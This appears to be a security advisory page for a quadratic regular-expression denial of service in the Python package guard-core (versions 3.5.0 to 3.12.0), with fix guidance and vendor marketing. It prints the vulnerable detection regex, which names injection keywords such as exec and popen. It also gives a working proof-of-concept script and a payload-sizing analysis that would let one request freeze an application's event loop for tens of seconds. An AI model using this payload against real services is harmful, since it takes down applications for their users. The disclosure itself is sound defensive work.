NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

Guard Core: Quadratic ReDoS in built-in detection pattern freezes the event loop with a single requestGHSA-r7hm-rjvg-xx7j

HIGHFix: Guard-Core/guard-core#68

GHSA-r7hm-rjvg-xx7j is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in guard-core. A fix is available for guard-core — see the affected versions and patch details below.

Also known asCVE-2026-129302
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-r7hm-rjvg-xx7j.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍guard-core

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A polynomial (quadratic) regular-expression denial of service in guard-core's built-in penetration-detection patterns allows any unauthenticated remote client to freeze every endpoint of an application for seconds per request, using only the default configuration. The triggering request completes without any detection match — no ban counter increments, no rate-limit violation is recorded — so it can be repeated indefinitely. Since guard-core 3.5.0, only custom patterns are executed through the compiler's timeout-protected create_safe_matcher(); all built-in patterns run as a bare, inline pattern.search(content) directly on the asyncio event loop. guard-core ≤ 3.4.0 ran built-ins through the safe matcher (verified in the 3.4.0 wheel, _check_regex_pattern), so this is a regression introduced in 3.5.0 — and it silently undoes the protection credited to GHSA-rrf6-pxg8-684g (CVE-2025-54365) and the unbounded-quantifier remediation of GHSA-j47q-rc62-w448 (CVE-2025-53539) for every stock pattern, despite the changelog advertising "Safe regex execution with configurable timeouts to prevent ReDoS attacks."

Details

1. The pattern — guard_core/handlers/suspatterns_handler.py:519 (master 08780f1), the built-in template-injection detector:

r"\{\{\s*[^\}]+(?:system|exec|popen|eval|require|include)\s*\}\}"

On an input of { repeated N times, every one of the N−1 positions starts a \{\{ match attempt and [^\}]+ scans to end-of-string and backtracks once per position → O(N²). Note the sibling pattern at :524 (\{\%\s*[^\%]+...) is not vulnerable — its delimiter % is excluded from the character class, keeping scans bounded — which confirms the root cause is the unbounded, non-excluding [^\}]+.

2. The unprotected execution path — guard_core/handlers/suspatterns_handler.py:910-926:

if compiler:
    if category == "custom":
        safe_matcher = compiler.create_safe_matcher(pattern)   # executor + timeout
        match = safe_matcher(content)
        ...
    else:
        match = pattern.search(content)                        # ← inline, NO timeout

In enhanced mode (the default whenever a SecurityConfig is present — _supports_enhanced_config() is a duck-type attribute check a stock config always passes), all built-in patterns execute inline inside the async coroutine, blocking the event loop for the full scan. In guard-core ≤ 3.4.0, _check_regex_pattern() routed every pattern through self._compiler.create_safe_matcher(pattern.pattern) (verified in the 3.4.0 wheel, suspatterns_handler.py:565-567) or, without a compiler, through _check_pattern_with_timeout (4-worker pool + per-pattern timeout). The category == "custom" exemption appeared in 3.5.0.

3. Default reachability — penetration detection is on by default (enable_penetration_detection=True), query parameters are scanned by default (guard_core/utils.py:843-865), and the default scan window detection_max_content_length=10000 (models.py:765-770) admits the full 10,000-character payload. A run of { survives preprocessing untouched.

Measured (CPython 3.14, guard-core 3.12.0):

inputdetect() wall timeevent-loop lag (measured in-process)
{ × 2,5000.15 s—
{ × 5,0000.46 s—
{ × 10,0001.85 s2.57 s cumulative across the three calls

Clean 4× per doubling — quadratic, not exponential. Profiling all built-ins against the payload attributes 1.766 s of the 1.77 s total to this single pattern (one-line fix: bound the gap, e.g. \{\{\s*[^\}\s]{0,64}(?:system|exec|popen|eval|require|include)\s*\}\}).

Amplification: every scanned value pays the cost independently (utils.py:843-890 per query param/header; utils.py:936-977 per JSON string field). A single 256 KB JSON body (the default detection_max_body_inspect_bytes) containing ~25 string fields of {×10,000 measured 44.03 s of continuous event-loop blockage from one request, returning normally with no detection hit.

Why rate limiting doesn't help: guard-core defaults are rate_limit=10 per rate_limit_window=60 s (models.py:369-375), and the rate_limit check runs before suspicious_activity in the default pipeline. 10 × 44 s = 440 s of loop blockage per 60 s window from a single IP — single-source saturation, no distribution needed.

Framework reach: any adapter embedding guard-core on an asyncio loop — fastapi-guard, flaskapi-guard (async deployments), djapi-guard (ASGI) — shares the loop with the application, so the freeze takes down every endpoint of the host application, not just the guarded routes.

PoC

guard-core only — no framework adapter needed. Requires pip install guard-core, then python poc_guard_core_redos.py. Exit code 0 = freeze reproduced.

"""PoC: event-loop ReDoS in guard-core (>= 3.5.0, <= 3.12.0), default config.

The built-in template-injection pattern is quadratic on '{' x N, and since 3.5.0
built-in patterns execute inline (pattern.search) with NO timeout — only
`custom` patterns get the compiler's safe matcher. One detect() call with a
10,000-char value blocks the event loop ~1.8s; a 256KB JSON body with ~25 such
fields blocks it ~44s. Runs on the asyncio loop that any adapter
(fastapi-guard, flaskapi-guard, djapi-guard) shares with the app.

Run:  python poc_guard_core_redos.py
Exit code 0 = freeze reproduced (max loop lag > 1s).
"""

import asyncio
import time

from guard_core.handlers.suspatterns_handler import sus_patterns_handler
from guard_core.models import SecurityConfig

LOOP_LAGS: list[float] = []


async def _loop_lag_monitor() -> None:
    while True:
        t0 = time.monotonic()
        await asyncio.sleep(0.05)
        LOOP_LAGS.append(time.monotonic() - t0 - 0.05)


async def main() -> int:
    config = SecurityConfig(enable_redis=False)  # defaults = enhanced mode
    sus_patterns_handler.configure(config)

    monitor = asyncio.create_task(_loop_lag_monitor())
    await asyncio.sleep(0.3)  # baseline samples

    for n in (2_500, 5_000, 10_000):
        t0 = time.perf_counter()
        result = await sus_patterns_handler.detect(
            content="{" * n, ip_address="203.0.113.7", context="query_param:q"
        )
        print(f"'{{' x {n:5d}: {time.perf_counter()-t0:.2f}s  is_threat={result['is_threat']}")

    # let the starved monitor task wake and record the lag it just endured
    await asyncio.sleep(0.1)
    max_lag = max(LOOP_LAGS)
    print(f"\nmax event-loop lag during run: {max_lag:.2f}s")
    print("VERDICT:", "FROZEN" if max_lag > 1.0 else "not reproduced")

    monitor.cancel()
    return 0 if max_lag > 1.0 else 1


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Observed output (Python 3.14, guard-core 3.12.0):

'{' x  2500: 0.16s  is_threat=False
'{' x  5000: 0.51s  is_threat=False
'{' x 10000: 1.91s  is_threat=False

max event-loop lag during run: 2.57s
VERDICT: FROZEN

An end-to-end proof through the fastapi-guard adapter (default config, real uvicorn server, in-process loop-lag monitor) measured 1.75 s of server-side event-loop lag from one GET request returning HTTP 200 — available on request.

Impact

Kind of vulnerability: Regular Expression Denial of Service — CWE-1333 / CWE-400. Polynomial (quadratic) runtime, O(N²), not exponential backtracking.

Who is impacted: every application embedding guard-core ≥ 3.5.0 with its default configuration (penetration detection enabled) in a single-process asyncio deployment. One unauthenticated request freezes all endpoints for ~1.8 s; one padded POST body freezes them for tens of seconds; repeated requests at only 10/min saturate the worker indefinitely. Because the payload triggers no detection match, no ban counter increments and nothing is logged as suspicious — the attack is invisible in guard-core's own telemetry.

Fix directions: (1) bound the quantifier in the template pattern (its {% sibling at :524 is already safe because [^\%]+ excludes the delimiter — excluding the delimiter, or bounding the gap, closes it); (2) route built-in patterns through the same create_safe_matcher() timeout path as custom patterns, restoring the ≤ 3.4.0 behavior that the changelog advertises.

Reporter validation request

The fix ships in guard-core 3.13.0, now on PyPI. If you reported this issue, please install 3.13.0 and confirm it is resolved. You can reply in this advisory's discussion thread or open a new issue with the result.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIguard-core≥ 3.5.0&&< 3.13.03.13.0pip install --upgrade 'guard-core==3.13.0'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for guard-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update guard-core to 3.13.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r7hm-rjvg-xx7j is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Frequently Asked Questions

### Summary A polynomial (quadratic) regular-expression denial of service in guard-core's built-in penetration-detection patterns allows any unauthenticated remote client to freeze **every** endpoint of an application for seconds per request, using only the default configuration. The triggering request completes without any detection match — no ban counter increments, no rate-limit violation is recorded — so it can be repeated indefinitely. Since guard-core 3.5.0, only *custom* patterns are executed through the compiler's timeout-protected `create_safe_matcher()`; all built-in patterns run as
O3 Security · Impact-Aware SCA

Is GHSA-r7hm-rjvg-xx7j in your dependencies?

Find it across PyPI, including transitive dependencies.

Guard Core: Quadratic ReDoS in built-in detection pattern…